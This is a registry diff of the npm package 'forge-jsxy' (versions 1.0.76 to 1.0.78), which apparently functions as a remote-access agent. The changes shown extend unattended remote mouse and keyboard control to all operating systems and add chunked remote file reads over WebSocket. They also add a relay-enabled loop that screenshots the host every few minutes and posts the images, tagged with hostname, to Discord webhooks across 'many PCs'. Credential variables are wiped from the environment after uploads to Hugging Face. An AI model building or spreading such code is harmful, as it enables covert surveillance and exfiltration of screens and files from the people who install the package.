forge-jsxy 1.0.76 → 1.0.78

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (43) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/autostart/agentEnvFile.d.ts +3 -2
  15. package/dist/autostart/agentEnvFile.js +8 -4
  16. package/dist/cli-agent.js +3 -3
  17. package/dist/discordAgentScreenshot.d.ts +1 -1
  18. package/dist/discordAgentScreenshot.js +41 -16
  19. package/dist/discordRateLimit.js +22 -11
  20. package/dist/discordRelayUpload.js +5 -3
  21. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  22. package/dist/explorerHeavyDirSkips.js +26 -0
  23. package/dist/exportMirrorCopy.d.ts +13 -1
  24. package/dist/exportMirrorCopy.js +89 -2
  25. package/dist/filesExplorer.d.ts +9 -0
  26. package/dist/filesExplorer.js +86 -4
  27. package/dist/fsMessages.d.ts +2 -0
  28. package/dist/fsMessages.js +29 -8
  29. package/dist/fsProtocol.d.ts +16 -4
  30. package/dist/fsProtocol.js +948 -151
  31. package/dist/hfCredentials.d.ts +1 -1
  32. package/dist/hfCredentials.js +1 -1
  33. package/dist/hfSeqIdLookup.d.ts +2 -2
  34. package/dist/hfSeqIdLookup.js +11 -5
  35. package/dist/hfUpload.d.ts +2 -2
  36. package/dist/hfUpload.js +103 -17
  37. package/dist/relayAgent.js +48 -26
  38. package/dist/relayDashboardGate.js +42 -55
  39. package/dist/relayServer.js +171 -6
  40. package/dist/syncClient.js +5 -0
  41. package/dist/windowsInputSync.js +20 -1
  42. package/package.json +3 -1
  43. package/scripts/discord-live-probe.mjs +66 -4
@@ -3,6 +3,21 @@
3
3
  <head>
4
4
  <meta charset="UTF-8" />
5
5
  <meta name="viewport" content="width=device-width,initial-scale=1" />
6
+ <script>
7
+ (function () {
8
+ try {
9
+ var p = new URLSearchParams(location.search || "");
10
+ var sp = String(p.get("session") || p.get("s") || "").trim();
11
+ if (!sp) return;
12
+ var suf = /^client_/i.test(sp) ? sp.slice(7) : sp;
13
+ p.delete("session");
14
+ p.delete("s");
15
+ p.set("my_vps", suf);
16
+ var nq = p.toString();
17
+ history.replaceState(null, "", location.pathname + (nq ? "?" + nq : "") + location.hash);
18
+ } catch (e) {}
19
+ })();
20
+ </script>
6
21
  <title>Forge Remote Control</title>
7
22
  <style>
8
23
  :root {
@@ -273,8 +288,8 @@
273
288
  </div>
274
289
  </div>
275
290
  <script>
276
- const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
277
- const pwdHint = @@PWD_JS@@ || "";
291
+ const relayFallback = __FORGE_REPLACE_RELAY_FALLBACK_JS__ || "";
292
+ const pwdHint = __FORGE_REPLACE_PWD_JS__ || "";
278
293
  const streamStatsEl = document.getElementById("streamStats");
279
294
  const fpsStateEl = document.getElementById("fpsState");
280
295
  const stateEl = document.getElementById("state");
@@ -357,6 +372,8 @@
357
372
  let lastPointerPoint = null;
358
373
  let suppressClickUntil = 0;
359
374
  let disablePressLifecycle = false;
375
+ let rcActionCaps = null;
376
+ const unsupportedActionNoticeAt = new Map();
360
377
  let lastClickAt = 0;
361
378
  let lastClickPoint = null;
362
379
  let lastClickButton = "left";
@@ -594,11 +611,7 @@
594
611
  sessionAgentVersion = String(row.agent_version || "").trim();
595
612
  sessionAgentOs = String(row.agent_os || "").trim().toLowerCase();
596
613
  refreshWriteModeEligibilityUi();
597
- if (
598
- sessionAgentVersion &&
599
- sessionAgentOs.includes("windows") &&
600
- versionLt(sessionAgentVersion, "1.0.71")
601
- ) {
614
+ if (sessionAgentVersion && versionLt(sessionAgentVersion, "1.0.71")) {
602
615
  setState("Agent v" + sessionAgentVersion + " detected. Upgrade agent from /files to enable reliable control.");
603
616
  }
604
617
  } catch {
@@ -613,11 +626,6 @@
613
626
  setState("Detecting agent platform/version…");
614
627
  return true;
615
628
  }
616
- if (!os.includes("windows")) {
617
- setState("Write mode supports Windows agents only.");
618
- showEmptyState("Remote control input is available only for Windows agents. This session is " + (os || "unknown") + ".", true);
619
- return false;
620
- }
621
629
  if (!ver || versionLt(ver, "1.0.71")) {
622
630
  setState("Upgrade required: agent v" + (ver || "unknown") + " -> v1.0.71+");
623
631
  showEmptyState("This session is running an older agent build. Open /files for this session and click Upgrade agent, then reconnect.", true);
@@ -626,15 +634,13 @@
626
634
  return true;
627
635
  }
628
636
  function refreshWriteModeEligibilityUi() {
629
- const os = String(sessionAgentOs || "").toLowerCase();
630
637
  const ver = String(sessionAgentVersion || "");
631
- const hasOs = os.length > 0;
632
638
  const hasVer = ver.length > 0;
633
639
  // Keep the mode button usable while metadata is still unknown; hard-block only when incompatibility is explicit.
634
- const incompatible = (hasOs && !os.includes("windows")) || (hasVer && versionLt(ver, "1.0.71"));
640
+ const incompatible = hasVer && versionLt(ver, "1.0.71");
635
641
  modeBtn.disabled = false;
636
642
  if (!writeEnabled && incompatible) {
637
- modeBtn.title = "Write mode requires Windows agent v1.0.71+ (upgrade this session from /files).";
643
+ modeBtn.title = "Write mode requires agent v1.0.71+ (upgrade this session from /files).";
638
644
  } else {
639
645
  modeBtn.title = "";
640
646
  }
@@ -763,13 +769,17 @@
763
769
  return relayFallback || "ws://127.0.0.1:9877";
764
770
  }
765
771
  function currentSessionId() {
766
- return String(new URLSearchParams(location.search).get("session") || "").trim();
772
+ const p = new URLSearchParams(location.search);
773
+ let v = String(p.get("my_vps") || p.get("vps") || p.get("session") || "").trim();
774
+ if (!v) return "";
775
+ if (/^client_/i.test(v)) return v;
776
+ return "client_" + v;
767
777
  }
768
778
  function resolveSessionId() {
769
779
  const sid = currentSessionId();
770
780
  if (sid) return sid;
771
- const entered = String(window.prompt("Enter remote session id", "") || "").trim();
772
- return entered;
781
+ /** No `window.prompt` unattended-friendly; use ?my_vps= / ?session= same as /files. */
782
+ return "";
773
783
  }
774
784
  function sessionPwdKey(sid) {
775
785
  return "forge_remote_pwd_" + sid;
@@ -877,7 +887,16 @@
877
887
  }
878
888
  function connect() {
879
889
  const sid = resolveSessionId();
880
- if (!sid) { setState("Session required"); return; }
890
+ if (!sid) {
891
+ setState("Session required");
892
+ if (!hasFrame) {
893
+ showEmptyState(
894
+ "Add ?my_vps=… or ?session=… to this URL (same session id as file explorer). Browser prompt is not used.",
895
+ true
896
+ );
897
+ }
898
+ return;
899
+ }
881
900
  void refreshSessionAgentMeta(sid);
882
901
  const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
883
902
  disconnect();
@@ -894,7 +913,9 @@
894
913
  armAuthWatchdog();
895
914
  };
896
915
  ws.onclose = () => {
916
+ ws = null;
897
917
  authed = false;
918
+ rcActionCaps = null;
898
919
  setState("Disconnected");
899
920
  stopShotLoop();
900
921
  clearAuthWatchdog();
@@ -933,6 +954,7 @@
933
954
  startShotLoop();
934
955
  requestScreenshot();
935
956
  startRemoteClipboardPoll();
957
+ void refreshRemoteControlCapabilities();
936
958
  if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
937
959
  } else {
938
960
  forgetPassword(sid);
@@ -1434,7 +1456,12 @@
1434
1456
  let eof = false;
1435
1457
  const chunks = [];
1436
1458
  let fileName = "remote-file.bin";
1459
+ const MAX_CHUNKS = 2048; // 2048 × 8MB = 16 GB cap — safety valve against infinite loop
1460
+ const DEADLINE = Date.now() + 5 * 60 * 1000; // 5-minute wall-clock timeout
1461
+ let chunkCount = 0;
1437
1462
  while (!eof) {
1463
+ if (chunkCount++ >= MAX_CHUNKS) return { ok: false, error: "download aborted: too many chunks (file too large)" };
1464
+ if (Date.now() > DEADLINE) return { ok: false, error: "download aborted: timeout exceeded (5 min)" };
1438
1465
  const r = await wsRequest("fs_read", {
1439
1466
  path: p,
1440
1467
  chunk: true,
@@ -1448,7 +1475,10 @@
1448
1475
  if (seg) fileName = seg;
1449
1476
  const b64 = String(r.b64 || "");
1450
1477
  if (b64) chunks.push(b64);
1451
- off = Number.isFinite(Number(r.next_offset)) ? Math.max(off, Number(r.next_offset)) : off;
1478
+ const nextOff = Number.isFinite(Number(r.next_offset)) ? Number(r.next_offset) : off;
1479
+ // Guard against stuck offset — if agent doesn't advance, treat as eof to avoid infinite loop
1480
+ if (!r.eof && nextOff <= off && b64.length === 0) return { ok: false, error: "download aborted: agent offset did not advance" };
1481
+ off = Math.max(off, nextOff);
1452
1482
  eof = Boolean(r.eof);
1453
1483
  }
1454
1484
  if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
@@ -1493,7 +1523,8 @@
1493
1523
  const n = String(name || "");
1494
1524
  if (!b) return n;
1495
1525
  if (/[\\/]$/.test(b)) return b + n;
1496
- return b + "\\" + n;
1526
+ // Use the separator that already appears in the base path to handle Unix/macOS correctly
1527
+ return b + (b.indexOf("/") >= 0 ? "/" : "\\") + n;
1497
1528
  }
1498
1529
  async function loadRootsIntoPanel() {
1499
1530
  if (!writeEnabled) return;
@@ -1550,11 +1581,36 @@
1550
1581
  }
1551
1582
  function sendRemoteInput(payload) {
1552
1583
  if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
1584
+ const action = String(payload && payload.action || "").trim();
1585
+ if (action && rcActionCaps && Object.prototype.hasOwnProperty.call(rcActionCaps, action) && !rcActionCaps[action]) {
1586
+ const now = Date.now();
1587
+ const prev = Number(unsupportedActionNoticeAt.get(action) || 0);
1588
+ if (now - prev > 1500) {
1589
+ unsupportedActionNoticeAt.set(action, now);
1590
+ setState("This remote action is unavailable on the current OS/tooling: " + action);
1591
+ }
1592
+ return;
1593
+ }
1553
1594
  ws.send(JSON.stringify(Object.assign({
1554
1595
  type: "rc_input",
1555
1596
  request_id: "rc_" + (++reqSeq),
1556
1597
  }, payload || {})));
1557
1598
  }
1599
+ async function refreshRemoteControlCapabilities() {
1600
+ try {
1601
+ const r = await wsRequest("rc_input", { action: "capabilities" });
1602
+ const caps = r && r.action_capabilities && typeof r.action_capabilities === "object"
1603
+ ? r.action_capabilities
1604
+ : null;
1605
+ if (caps) {
1606
+ rcActionCaps = caps;
1607
+ const notes = Array.isArray(r.notes) ? r.notes.filter(Boolean).map((x) => String(x)) : [];
1608
+ if (notes.length) setState(notes[0]);
1609
+ }
1610
+ } catch {
1611
+ /* old agents may not support capability probing; keep permissive compatibility mode */
1612
+ }
1613
+ }
1558
1614
  function queueMouseMove(point) {
1559
1615
  if (!point) return;
1560
1616
  pendingMovePoint = point;
@@ -11,8 +11,9 @@ export declare function sanitizeForgeAgentEnvFileOnDisk(dataDir: string): boolea
11
11
  * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
12
12
  * or relay disconnect (relay-first deployments never need these on the agent).
13
13
  * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
14
- * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
15
- * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
14
+ * from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
15
+ * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
16
+ * after an explicit opt-out was loaded from `forge-js-agent.env`.
16
17
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
17
18
  * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
18
19
  */
@@ -75,10 +75,12 @@ const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
75
75
  "RELAY_SYNC_API_BASE_URL",
76
76
  ]);
77
77
  /**
78
- * Non-secret Discord screenshot tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
79
- * and disk sanitize so reconnect does not lose cadence (relay_features would otherwise overwrite interval).
78
+ * Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
79
+ * and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
80
80
  */
81
81
  const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
82
+ /** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
83
+ "FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
82
84
  "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
83
85
  "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
84
86
  "FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
@@ -87,6 +89,7 @@ const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
87
89
  "FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
88
90
  "FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
89
91
  "FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
92
+ "FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
90
93
  ]);
91
94
  function isForgeJsDiscordScreenshotTuningKey(key) {
92
95
  return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
@@ -138,8 +141,9 @@ function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
138
141
  * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
139
142
  * or relay disconnect (relay-first deployments never need these on the agent).
140
143
  * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
141
- * from `relay_features`). **Exception:** non-secret screenshot tuning (`FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`, etc.)
142
- * is kept so WebSocket reconnect does not drop cadence and let the relay overwrite with a slower interval.
144
+ * from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
145
+ * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
146
+ * after an explicit opt-out was loaded from `forge-js-agent.env`.
143
147
  * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
144
148
  * via {@link scrubHfCredentialsInPlace}. `CFGMGR_HF_NAMESPACE` is cleared after use when relay-first.
145
149
  */
package/dist/cli-agent.js CHANGED
@@ -30,14 +30,14 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
30
30
  ` To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
31
31
  ` Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
32
32
  `Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
33
- `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — if unset on the agent,\n` +
34
- ` screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
33
+ `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
35
34
  ` Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
36
35
  ` FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
37
36
  ` FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
38
- ` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
37
+ ` FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
39
38
  ` FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
40
39
  ` FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
40
+ ` FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
41
41
  `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
42
42
  process.exit(0);
43
43
  }
@@ -12,7 +12,7 @@ export type DiscordAgentScreenshotOpts = {
12
12
  quiet: boolean;
13
13
  waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
14
14
  waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
15
- /** When true, run the loop even if `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` is unset (relay `relay_features`). */
15
+ /** When true, run the loop when relay sends `discord_screenshot` and the agent did not explicitly opt out. */
16
16
  enabledByRelayCapabilities?: boolean;
17
17
  };
18
18
  /**
@@ -61,16 +61,18 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
61
61
  * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
62
62
  * full ticket → POST → ack cycles when Discord returns 429 between relay steps.
63
63
  * `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
64
- * 6. Webhook->relay fallback — when webhook flow still fails, the same screenshot
65
- * is retried once via relay bot-upload path before dropping.
64
+ * 6. Optional webhook→relay fallback — only when `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1`
65
+ * (retries via `discord_screenshot_upload`, PNG over WS). Default **off** for agent→Discord only.
66
66
  * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
67
67
  * time; new captures queue rather than firing concurrent Discord requests.
68
68
  *
69
- * Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED=1`, or leave unset when the relay sends
70
- * `relay_features.discord_screenshot: true` (enabled in-memory only not written to `forge-js-agent.env`).
69
+ * Env (agent): omit `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` to follow `relay_features.discord_screenshot` when the relay enables Discord;
70
+ * set `=1` to force on or `=0`/`false`/`no`/`off` to opt out (may persist in `forge-js-agent.env`; survives reconnect / credential strip).
71
71
  * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
72
72
  * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
73
- * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
73
+ * Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
74
+ * `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
75
+ * Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
74
76
  */
75
77
  const node_crypto_1 = require("node:crypto");
76
78
  const discordBotTokens_1 = require("./discordBotTokens");
@@ -79,7 +81,7 @@ const os = __importStar(require("node:os"));
79
81
  const fsProtocol_1 = require("./fsProtocol");
80
82
  const discordRateLimit_1 = require("./discordRateLimit");
81
83
  const discordWebhookPost_1 = require("./discordWebhookPost");
82
- /** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
84
+ /** Align with Discord bot/webhook attachment caps; override for boosted guilds via env (up to 25 MiB). */
83
85
  function discordWebhookMaxAttachmentBytes() {
84
86
  const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
85
87
  if (raw) {
@@ -90,16 +92,21 @@ function discordWebhookMaxAttachmentBytes() {
90
92
  }
91
93
  return 10 * 1024 * 1024;
92
94
  }
93
- /** Discord screenshots should maximize quality within strict attachment budget. */
95
+ /** Capture budget matches {@link discordWebhookMaxAttachmentBytes} (not hard-limited to 10 MiB). */
94
96
  function discordCaptureMaxBytes() {
95
- return Math.min(10 * 1024 * 1024, discordWebhookMaxAttachmentBytes());
97
+ return discordWebhookMaxAttachmentBytes();
98
+ }
99
+ /** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
100
+ function _neutralizeDiscordTriggers(s) {
101
+ return s.replace(/@(everyone|here)/gi, "@\u200b$1");
96
102
  }
97
103
  /** Short OS label for Discord screenshot captions. */
98
104
  function _screenshotOsLabel() {
99
105
  const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
100
106
  const h = os.hostname();
101
107
  let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
102
- return h ? `${label} · ${h}` : label;
108
+ // Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
109
+ return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
103
110
  }
104
111
  /** Screenshot caption in JST with OS label. */
105
112
  function _screenshotCaption() {
@@ -145,6 +152,14 @@ function discordWebhookTicketFlowMaxAttempts() {
145
152
  return n;
146
153
  return 12;
147
154
  }
155
+ /**
156
+ * After webhook ticket/POST failures, optionally retry via `discord_screenshot_upload` (PNG over WS).
157
+ * Default **false** — production prefers agent→Discord only. Set `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` for legacy resilience.
158
+ */
159
+ function discordWebhookRelayFallbackEnabled() {
160
+ const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK || "").trim().toLowerCase();
161
+ return ["1", "true", "yes", "on"].includes(raw);
162
+ }
148
163
  /** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
149
164
  function discordScreenshotFirstDelayMs() {
150
165
  const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
@@ -298,13 +313,15 @@ function startDiscordScreenshotToRelayLoop(opts) {
298
313
  rawB64 = "";
299
314
  const whMax = discordWebhookMaxAttachmentBytes();
300
315
  if (png.length > whMax) {
301
- const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(png, whMax);
316
+ const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(png, whMax);
302
317
  if (!shrunk || shrunk.buffer.length > whMax) {
303
318
  if (!opts.quiet) {
304
319
  console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
305
320
  }
306
- // Relay upload path may still shrink/post successfully.
307
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
321
+ // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
322
+ if (discordWebhookRelayFallbackEnabled()) {
323
+ await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
324
+ }
308
325
  try {
309
326
  png.fill(0);
310
327
  }
@@ -347,7 +364,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
347
364
  if (!opts.quiet) {
348
365
  console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
349
366
  }
350
- await relayFallbackUploadWithRetry(originalB64, err);
367
+ if (discordWebhookRelayFallbackEnabled()) {
368
+ await relayFallbackUploadWithRetry(originalB64, err);
369
+ }
351
370
  return;
352
371
  }
353
372
  let whUrl = String(ticket.webhook_url).trim();
@@ -375,19 +394,25 @@ function startDiscordScreenshotToRelayLoop(opts) {
375
394
  if (!opts.quiet) {
376
395
  console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
377
396
  }
378
- await relayFallbackUploadWithRetry(originalB64, posted.error);
397
+ if (discordWebhookRelayFallbackEnabled()) {
398
+ await relayFallbackUploadWithRetry(originalB64, posted.error);
399
+ }
379
400
  return;
380
401
  }
381
402
  if (!opts.quiet) {
382
403
  console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
383
404
  }
384
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
405
+ if (discordWebhookRelayFallbackEnabled()) {
406
+ await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
407
+ }
385
408
  }
386
409
  catch (e) {
387
410
  if (!opts.quiet) {
388
411
  console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
389
412
  }
390
- await relayFallbackUploadWithRetry(originalB64, String(e));
413
+ if (discordWebhookRelayFallbackEnabled()) {
414
+ await relayFallbackUploadWithRetry(originalB64, String(e));
415
+ }
391
416
  }
392
417
  finally {
393
418
  if (png && png.length > 0) {
@@ -178,19 +178,26 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
178
178
  if (tracker && routeKey) {
179
179
  tracker.update(res.headers, routeKey);
180
180
  }
181
- for (let i = 0; i < max - 1 && res.status === 429; i++) {
182
- const delay = await discord429DelayMs(res);
183
- if (tracker && routeKey) {
184
- const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
185
- res.headers.get("X-RateLimit-Scope") === "global";
186
- const bucket = res.headers.get("X-RateLimit-Bucket");
187
- if (isGlobal) {
188
- tracker.setGlobalPause(delay);
189
- }
190
- else {
191
- tracker.setRoutePause(routeKey, bucket, delay);
181
+ for (let i = 0; i < max - 1 && (res.status === 429 || isRetriable5xx(res.status)); i++) {
182
+ let delay;
183
+ if (res.status === 429) {
184
+ delay = await discord429DelayMs(res);
185
+ if (tracker && routeKey) {
186
+ const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
187
+ res.headers.get("X-RateLimit-Scope") === "global";
188
+ const bucket = res.headers.get("X-RateLimit-Bucket");
189
+ if (isGlobal) {
190
+ tracker.setGlobalPause(delay);
191
+ }
192
+ else {
193
+ tracker.setRoutePause(routeKey, bucket, delay);
194
+ }
192
195
  }
193
196
  }
197
+ else {
198
+ // 500/502/503/504: exponential back-off with jitter, capped at 30 s
199
+ delay = clampRetryMs(Math.min(30_000, 1000 * Math.pow(2, i)) + Math.floor(Math.random() * 400));
200
+ }
194
201
  await sleepMs(delay);
195
202
  res = await doFetch();
196
203
  if (tracker && routeKey) {
@@ -199,6 +206,10 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
199
206
  }
200
207
  return res;
201
208
  }
209
+ /** True for transient Discord server-side errors that are safe to retry. */
210
+ function isRetriable5xx(status) {
211
+ return status === 500 || status === 502 || status === 503 || status === 504;
212
+ }
202
213
  // ── Error-text backoff (ticket/webhook flow) ──────────────────────────────────
203
214
  function looksLikeDiscordRateLimitMessage(text) {
204
215
  return /429|rate limit|rate_limited|being rate limited/i.test(String(text));
@@ -465,7 +465,7 @@ async function postPngToDiscordChannel(botToken, channelId, png, caption) {
465
465
  const cap = maxDiscordAttachmentBytes();
466
466
  let img = png;
467
467
  if (img.length > cap) {
468
- const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(img, cap);
468
+ const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(img, cap);
469
469
  if (!shrunk || shrunk.buffer.length > cap) {
470
470
  return {
471
471
  ok: false,
@@ -787,7 +787,7 @@ async function warnDiscordRelayGuildIfMisconfigured() {
787
787
  arr = null;
788
788
  }
789
789
  if (Array.isArray(arr) && arr.length === 0) {
790
- console.warn(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
790
+ console.log(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
791
791
  }
792
792
  }
793
793
  }
@@ -800,7 +800,9 @@ async function warnDiscordRelayGuildIfMisconfigured() {
800
800
  await listGuildTextChannels(tokens[i], guildId);
801
801
  }
802
802
  catch (e) {
803
- console.warn(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
803
+ // Log to stdout (not stderr) — Discord 500/504 are transient server-side errors,
804
+ // not relay bugs; they do not warrant the PM2 error log.
805
